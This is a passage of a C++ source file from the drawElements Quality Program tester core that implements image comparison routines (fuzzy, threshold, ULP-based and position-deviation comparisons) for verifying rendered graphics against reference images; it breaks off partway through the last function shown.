text stringlengths 1 1.05M |
|---|
/*-------------------------------------------------------------------------
* drawElements Quality Program Tester Core
* ----------------------------------------
*
* Copyright 2014 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*//*!
* \file
* \brief Image comparison utilities.
*//*--------------------------------------------------------------------*/
#include "tcuImageCompare.hpp"
#include "tcuSurface.hpp"
#include "tcuFuzzyImageCompare.hpp"
#include "tcuBilinearImageCompare.hpp"
#include "tcuTestLog.hpp"
#include "tcuVector.hpp"
#include "tcuVectorUtil.hpp"
#include "tcuRGBA.hpp"
#include "tcuTexture.hpp"
#include "tcuTextureUtil.hpp"
#include "tcuFloat.hpp"
#include <string.h>
namespace tcu
{
namespace
{
void computeScaleAndBias (const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, tcu::Vec4& scale, tcu::Vec4& bias)
{
Vec4 minVal;
Vec4 maxVal;
const float eps = 0.0001f;
{
Vec4 refMin;
Vec4 refMax;
estimatePixelValueRange(reference, refMin, refMax);
minVal = refMin;
maxVal = refMax;
}
{
Vec4 resMin;
Vec4 resMax;
estimatePixelValueRange(result, resMin, resMax);
minVal[0] = de::min(minVal[0], resMin[0]);
minVal[1] = de::min(minVal[1], resMin[1]);
minVal[2] = de::min(minVal[2], resMin[2]);
minVal[3] = de::min(minVal[3], resMin[3]);
maxVal[0] = de::max(maxVal[0], resMax[0]);
maxVal[1] = de::max(maxVal[1], resMax[1]);
maxVal[2] = de::max(maxVal[2], resMax[2]);
maxVal[3] = de::max(maxVal[3], resMax[3]);
}
for (int c = 0; c < 4; c++)
{
if (maxVal[c] - minVal[c] < eps)
{
scale[c] = (maxVal[c] < eps) ? 1.0f : (1.0f / maxVal[c]);
bias[c] = (c == 3) ? (1.0f - maxVal[c]*scale[c]) : (0.0f - minVal[c]*scale[c]);
}
else
{
scale[c] = 1.0f / (maxVal[c] - minVal[c]);
bias[c] = 0.0f - minVal[c]*scale[c];
}
}
}
static int findNumPositionDeviationFailingPixels (const PixelBufferAccess& errorMask, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const UVec4& threshold, const tcu::IVec3& maxPositionDeviation, bool acceptOutOfBoundsAsAnyValue)
{
const tcu::IVec4 okColor (0, 255, 0, 255);
const tcu::IVec4 errorColor (255, 0, 0, 255);
const int width = reference.getWidth();
const int height = reference.getHeight();
const int depth = reference.getDepth();
int numFailingPixels = 0;
// Accept pixels "sampling" over the image bounds pixels since "taps" could be anything
const int beginX = (acceptOutOfBoundsAsAnyValue) ? (maxPositionDeviation.x()) : (0);
const int beginY = (acceptOutOfBoundsAsAnyValue) ? (maxPositionDeviation.y()) : (0);
const int beginZ = (acceptOutOfBoundsAsAnyValue) ? (maxPositionDeviation.z()) : (0);
const int endX = (acceptOutOfBoundsAsAnyValue) ? (width - maxPositionDeviation.x()) : (0);
const int endY = (acceptOutOfBoundsAsAnyValue) ? (height - maxPositionDeviation.y()) : (0);
const int endZ = (acceptOutOfBoundsAsAnyValue) ? (depth - maxPositionDeviation.z()) : (0);
TCU_CHECK_INTERNAL(result.getWidth() == width && result.getHeight() == height && result.getDepth() == depth);
tcu::clear(errorMask, okColor);
for (int z = beginZ; z < endZ; z++)
{
for (int y = beginY; y < endY; y++)
{
for (int x = beginX; x < endX; x++)
{
const IVec4 refPix = reference.getPixelInt(x, y, z);
const IVec4 cmpPix = result.getPixelInt(x, y, z);
// Exact match
{
const UVec4 diff = abs(refPix - cmpPix).cast<deUint32>();
const bool isOk = boolAll(lessThanEqual(diff, threshold));
if (isOk)
continue;
}
// Find matching pixels for both result and reference pixel
{
bool pixelFoundForReference = false;
// Find deviated result pixel for reference
for (int sz = de::max(0, z - maxPositionDeviation.z()); sz <= de::min(depth - 1, z + maxPositionDeviation.z()) && !pixelFoundForReference; ++sz)
for (int sy = de::max(0, y - maxPositionDeviation.y()); sy <= de::min(height - 1, y + maxPositionDeviation.y()) && !pixelFoundForReference; ++sy)
for (int sx = de::max(0, x - maxPositionDeviation.x()); sx <= de::min(width - 1, x + maxPositionDeviation.x()) && !pixelFoundForReference; ++sx)
{
const IVec4 deviatedCmpPix = result.getPixelInt(sx, sy, sz);
const UVec4 diff = abs(refPix - deviatedCmpPix).cast<deUint32>();
const bool isOk = boolAll(lessThanEqual(diff, threshold));
pixelFoundForReference = isOk;
}
if (!pixelFoundForReference)
{
errorMask.setPixel(errorColor, x, y, z);
++numFailingPixels;
continue;
}
}
{
bool pixelFoundForResult = false;
// Find deviated reference pixel for result
for (int sz = de::max(0, z - maxPositionDeviation.z()); sz <= de::min(depth - 1, z + maxPositionDeviation.z()) && !pixelFoundForResult; ++sz)
for (int sy = de::max(0, y - maxPositionDeviation.y()); sy <= de::min(height - 1, y + maxPositionDeviation.y()) && !pixelFoundForResult; ++sy)
for (int sx = de::max(0, x - maxPositionDeviation.x()); sx <= de::min(width - 1, x + maxPositionDeviation.x()) && !pixelFoundForResult; ++sx)
{
const IVec4 deviatedRefPix = reference.getPixelInt(sx, sy, sz);
const UVec4 diff = abs(cmpPix - deviatedRefPix).cast<deUint32>();
const bool isOk = boolAll(lessThanEqual(diff, threshold));
pixelFoundForResult = isOk;
}
if (!pixelFoundForResult)
{
errorMask.setPixel(errorColor, x, y, z);
++numFailingPixels;
continue;
}
}
}
}
}
return numFailingPixels;
}
} // anonymous
/*--------------------------------------------------------------------*//*!
* \brief Fuzzy image comparison
*
* This image comparison is designed for comparing images rendered by 3D
* graphics APIs such as OpenGL. The comparison allows small local differences
* and compensates for aliasing.
*
* The algorithm first performs light blurring on both images and then
* does per-pixel analysis. Pixels are compared to 3x3 bilinear surface
* defined by adjecent pixels. This compensates for both 1-pixel deviations
* in geometry and aliasing in texture data.
*
* Error metric is computed based on the differences. On valid images the
* metric is usually <0.01. Thus good threshold values are in range 0.02 to
* 0.05.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \note Currently supports only UNORM_INT8 formats
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Error metric threshold (good values are 0.02-0.05)
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool fuzzyCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, float threshold, CompareLogMode logMode)
{
FuzzyCompareParams params; // Use defaults.
TextureLevel errorMask (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), reference.getWidth(), reference.getHeight());
float difference = fuzzyCompare(params, reference, result, errorMask.getAccess());
bool isOk = difference <= threshold;
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
if (!isOk || logMode == COMPARE_LOG_EVERYTHING)
{
// Generate more accurate error mask.
params.maxSampleSkip = 0;
fuzzyCompare(params, reference, result, errorMask.getAccess());
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8) && reference.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computeScaleAndBias(reference, result, pixelScale, pixelBias);
if (!isOk)
log << TestLog::Message << "Image comparison failed: difference = " << difference << ", threshold = " << threshold << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return isOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Fuzzy image comparison
*
* This image comparison is designed for comparing images rendered by 3D
* graphics APIs such as OpenGL. The comparison allows small local differences
* and compensates for aliasing.
*
* The algorithm first performs light blurring on both images and then
* does per-pixel analysis. Pixels are compared to 3x3 bilinear surface
* defined by adjecent pixels. This compensates for both 1-pixel deviations
* in geometry and aliasing in texture data.
*
* Error metric is computed based on the differences. On valid images the
* metric is usually <0.01. Thus good threshold values are in range 0.02 to
* 0.05.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \note Currently supports only UNORM_INT8 formats
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Error metric threshold (good values are 0.02-0.05)
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool fuzzyCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const Surface& reference, const Surface& result, float threshold, CompareLogMode logMode)
{
return fuzzyCompare(log, imageSetName, imageSetDesc, reference.getAccess(), result.getAccess(), threshold, logMode);
}
static deInt64 computeSquaredDiffSum (const ConstPixelBufferAccess& ref, const ConstPixelBufferAccess& cmp, const PixelBufferAccess& diffMask, int diffFactor)
{
TCU_CHECK_INTERNAL(ref.getFormat().type == TextureFormat::UNORM_INT8 && cmp.getFormat().type == TextureFormat::UNORM_INT8);
DE_ASSERT(ref.getWidth() == cmp.getWidth() && ref.getWidth() == diffMask.getWidth());
DE_ASSERT(ref.getHeight() == cmp.getHeight() && ref.getHeight() == diffMask.getHeight());
deInt64 diffSum = 0;
for (int y = 0; y < cmp.getHeight(); y++)
{
for (int x = 0; x < cmp.getWidth(); x++)
{
IVec4 a = ref.getPixelInt(x, y);
IVec4 b = cmp.getPixelInt(x, y);
IVec4 diff = abs(a - b);
int sum = diff.x() + diff.y() + diff.z() + diff.w();
int sqSum = diff.x()*diff.x() + diff.y()*diff.y() + diff.z()*diff.z() + diff.w()*diff.w();
diffMask.setPixel(tcu::RGBA(deClamp32(sum*diffFactor, 0, 255), deClamp32(255-sum*diffFactor, 0, 255), 0, 255).toVec(), x, y);
diffSum += (deInt64)sqSum;
}
}
return diffSum;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel difference accuracy metric
*
* Computes accuracy metric using per-pixel differences between reference
* and result images.
*
* \note Supports only integer- and fixed-point formats
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param bestScoreDiff Scaling factor
* \param worstScoreDiff Scaling factor
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
int measurePixelDiffAccuracy (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, int bestScoreDiff, int worstScoreDiff, CompareLogMode logMode)
{
TextureLevel diffMask (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), reference.getWidth(), reference.getHeight());
int diffFactor = 8;
deInt64 squaredSum = computeSquaredDiffSum(reference, result, diffMask.getAccess(), diffFactor);
float sum = deFloatSqrt((float)squaredSum);
int score = deClamp32(deFloorFloatToInt32(100.0f - (de::max(sum-(float)bestScoreDiff, 0.0f) / (float)(worstScoreDiff-bestScoreDiff))*100.0f), 0, 100);
const int failThreshold = 10;
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
if (logMode == COMPARE_LOG_EVERYTHING || score <= failThreshold)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8) && reference.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("DiffMask", "Difference", diffMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
if (logMode != COMPARE_LOG_ON_ERROR || score <= failThreshold)
log << TestLog::Integer("DiffSum", "Squared difference sum", "", QP_KEY_TAG_NONE, squaredSum)
<< TestLog::Integer("Score", "Score", "", QP_KEY_TAG_QUALITY, score);
return score;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel difference accuracy metric
*
* Computes accuracy metric using per-pixel differences between reference
* and result images.
*
* \note Supports only integer- and fixed-point formats
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param bestScoreDiff Scaling factor
* \param worstScoreDiff Scaling factor
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
int measurePixelDiffAccuracy (TestLog& log, const char* imageSetName, const char* imageSetDesc, const Surface& reference, const Surface& result, int bestScoreDiff, int worstScoreDiff, CompareLogMode logMode)
{
return measurePixelDiffAccuracy(log, imageSetName, imageSetDesc, reference.getAccess(), result.getAccess(), bestScoreDiff, worstScoreDiff, logMode);
}
/*--------------------------------------------------------------------*//*!
* Returns the index of float in a float space without denormals
* so that:
* 1) f(0.0) = 0
* 2) f(-0.0) = 0
* 3) f(b) = f(a) + 1 <==> b = nextAfter(a)
*
* See computeFloatFlushRelaxedULPDiff for details
*//*--------------------------------------------------------------------*/
static deInt32 getPositionOfIEEEFloatWithoutDenormals (float x)
{
DE_ASSERT(!deIsNaN(x)); // not sane
if (x == 0.0f)
return 0;
else if (x < 0.0f)
return -getPositionOfIEEEFloatWithoutDenormals(-x);
else
{
DE_ASSERT(x > 0.0f);
const tcu::Float32 f(x);
if (f.isDenorm())
{
// Denorms are flushed to zero
return 0;
}
else
{
// sign is 0, and it's a normal number. Natural position is its bit
// pattern but since we've collapsed the denorms, we must remove
// the gap here too to keep the float enumeration continuous.
//
// Denormals occupy one exponent pattern. Removing one from
// exponent should to the trick.
return (deInt32)(f.bits() - (1u << 23u));
}
}
}
static deUint32 computeFloatFlushRelaxedULPDiff (float a, float b)
{
if (deIsNaN(a) && deIsNaN(b))
return 0;
else if (deIsNaN(a) || deIsNaN(b))
{
return 0xFFFFFFFFu;
}
else
{
// Using the "definition 5" in Muller, Jean-Michel. "On the definition of ulp (x)" (2005)
// assuming a floating point space is IEEE single precision floating point space without
// denormals (and signed zeros).
const deInt32 aIndex = getPositionOfIEEEFloatWithoutDenormals(a);
const deInt32 bIndex = getPositionOfIEEEFloatWithoutDenormals(b);
return (deUint32)de::abs(aIndex - bIndex);
}
}
static tcu::UVec4 computeFlushRelaxedULPDiff (const tcu::Vec4& a, const tcu::Vec4& b)
{
return tcu::UVec4(computeFloatFlushRelaxedULPDiff(a.x(), b.x()),
computeFloatFlushRelaxedULPDiff(a.y(), b.y()),
computeFloatFlushRelaxedULPDiff(a.z(), b.z()),
computeFloatFlushRelaxedULPDiff(a.w(), b.w()));
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based comparison
*
* This compare computes per-pixel differences between result and reference
* image. Comparison fails if any pixels exceed the given threshold value.
*
* This comparison uses ULP (units in last place) metric for computing the
* difference between floating-point values and thus this function can
* be used only for comparing floating-point texture data. In ULP calculation
* the denormal numbers are allowed to be flushed to zero.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool floatUlpThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const UVec4& threshold, CompareLogMode logMode)
{
int width = reference.getWidth();
int height = reference.getHeight();
int depth = reference.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
UVec4 maxDiff (0, 0, 0, 0);
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
TCU_CHECK(result.getWidth() == width && result.getHeight() == height && result.getDepth() == depth);
for (int z = 0; z < depth; z++)
{
for (int y = 0; y < height; y++)
{
for (int x = 0; x < width; x++)
{
const Vec4 refPix = reference.getPixel(x, y, z);
const Vec4 cmpPix = result.getPixel(x, y, z);
const UVec4 diff = computeFlushRelaxedULPDiff(refPix, cmpPix);
const bool isOk = boolAll(lessThanEqual(diff, threshold));
maxDiff = max(maxDiff, diff);
errorMask.setPixel(isOk ? Vec4(0.0f, 1.0f, 0.0f, 1.0f) : Vec4(1.0f, 0.0f, 0.0f, 1.0f), x, y, z);
}
}
}
bool compareOk = boolAll(lessThanEqual(maxDiff, threshold));
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(reference.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT ||
tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::Message << "Result and reference images are normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message << "Image comparison failed: max difference = " << maxDiff << ", threshold = " << threshold << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based comparison
*
* This compare computes per-pixel differences between result and reference
* image. Comparison fails if any pixels exceed the given threshold value.
*
* This comparison can be used for floating-point and fixed-point formats.
* Difference is computed in floating-point space.
*
* On failure an error image is generated that shows where the failing
* pixels are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool floatThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const Vec4& threshold, CompareLogMode logMode)
{
int width = reference.getWidth();
int height = reference.getHeight();
int depth = reference.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
Vec4 maxDiff (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
TCU_CHECK_INTERNAL(result.getWidth() == width && result.getHeight() == height && result.getDepth() == depth);
for (int z = 0; z < depth; z++)
{
for (int y = 0; y < height; y++)
{
for (int x = 0; x < width; x++)
{
Vec4 refPix = reference.getPixel(x, y, z);
Vec4 cmpPix = result.getPixel(x, y, z);
Vec4 diff = abs(refPix - cmpPix);
bool isOk = boolAll(lessThanEqual(diff, threshold));
maxDiff = max(maxDiff, diff);
errorMask.setPixel(isOk ? Vec4(0.0f, 1.0f, 0.0f, 1.0f) : Vec4(1.0f, 0.0f, 0.0f, 1.0f), x, y, z);
}
}
}
bool compareOk = boolAll(lessThanEqual(maxDiff, threshold));
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(reference.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT ||
tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::Message << "Result and reference images are normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message << "Image comparison failed: max difference = " << maxDiff << ", threshold = " << threshold << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based comparison
*
* This compare computes per-pixel differences between result and reference
* color. Comparison fails if any pixels exceed the given threshold value.
*
* This comparison can be used for floating-point and fixed-point formats.
* Difference is computed in floating-point space.
*
* On failure an error image is generated that shows where the failing
* pixels are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference color
* \param result Result image
* \param threshold Maximum allowed difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool floatThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const Vec4& reference, const ConstPixelBufferAccess& result, const Vec4& threshold, CompareLogMode logMode)
{
const int width = result.getWidth();
const int height = result.getHeight();
const int depth = result.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
Vec4 maxDiff (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
for (int z = 0; z < depth; z++)
{
for (int y = 0; y < height; y++)
{
for (int x = 0; x < width; x++)
{
const Vec4 cmpPix = result.getPixel(x, y, z);
const Vec4 diff = abs(reference - cmpPix);
const bool isOk = boolAll(lessThanEqual(diff, threshold));
maxDiff = max(maxDiff, diff);
errorMask.setPixel(isOk ? Vec4(0.0f, 1.0f, 0.0f, 1.0f) : Vec4(1.0f, 0.0f, 0.0f, 1.0f), x, y, z);
}
}
}
bool compareOk = boolAll(lessThanEqual(maxDiff, threshold));
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(result, result, pixelScale, pixelBias);
log << TestLog::Message << "Result image is normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message << "Image comparison failed: max difference = " << maxDiff << ", threshold = " << threshold << ", reference = " << reference << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based comparison
*
* This compare computes per-pixel differences between result and reference
* image. Comparison fails if any pixels exceed the given threshold value.
*
* This comparison can be used for integer- and fixed-point texture formats.
* Difference is computed in integer space.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool intThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const UVec4& threshold, CompareLogMode logMode)
{
int width = reference.getWidth();
int height = reference.getHeight();
int depth = reference.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
UVec4 maxDiff (0, 0, 0, 0);
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
TCU_CHECK_INTERNAL(result.getWidth() == width && result.getHeight() == height && result.getDepth() == depth);
for (int z = 0; z < depth; z++)
{
for (int y = 0; y < height; y++)
{
for (int x = 0; x < width; x++)
{
IVec4 refPix = reference.getPixelInt(x, y, z);
IVec4 cmpPix = result.getPixelInt(x, y, z);
UVec4 diff = abs(refPix - cmpPix).cast<deUint32>();
bool isOk = boolAll(lessThanEqual(diff, threshold));
maxDiff = max(maxDiff, diff);
errorMask.setPixel(isOk ? IVec4(0, 0xff, 0, 0xff) : IVec4(0xff, 0, 0, 0xff), x, y, z);
}
}
}
bool compareOk = boolAll(lessThanEqual(maxDiff, threshold));
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(reference.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT ||
tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::Message << "Result and reference images are normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message << "Image comparison failed: max difference = " << maxDiff << ", threshold = " << threshold << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based deviation-ignoring comparison
*
* This compare computes per-pixel differences between result and reference
* image. Comparison fails if there is no pixel matching the given threshold
* value in the search volume.
*
* If the search volume contains out-of-bounds pixels, comparison can be set
* to either ignore these pixels in search or to accept any pixel that has
* out-of-bounds pixels in its search volume.
*
* This comparison can be used for integer- and fixed-point texture formats.
* Difference is computed in integer space.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param maxPositionDeviation Maximum allowed distance in the search
* volume.
* \param acceptOutOfBoundsAsAnyValue Accept any pixel in the boundary region
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool intThresholdPositionDeviationCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const UVec4& threshold, const tcu::IVec3& maxPositionDeviation, bool acceptOutOfBoundsAsAnyValue, CompareLogMode logMode)
{
const int width = reference.getWidth();
const int height = reference.getHeight();
const int depth = reference.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
const int numFailingPixels = findNumPositionDeviationFailingPixels(errorMask, reference, result, threshold, maxPositionDeviation, acceptOutOfBoundsAsAnyValue);
const bool compareOk = numFailingPixels == 0;
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
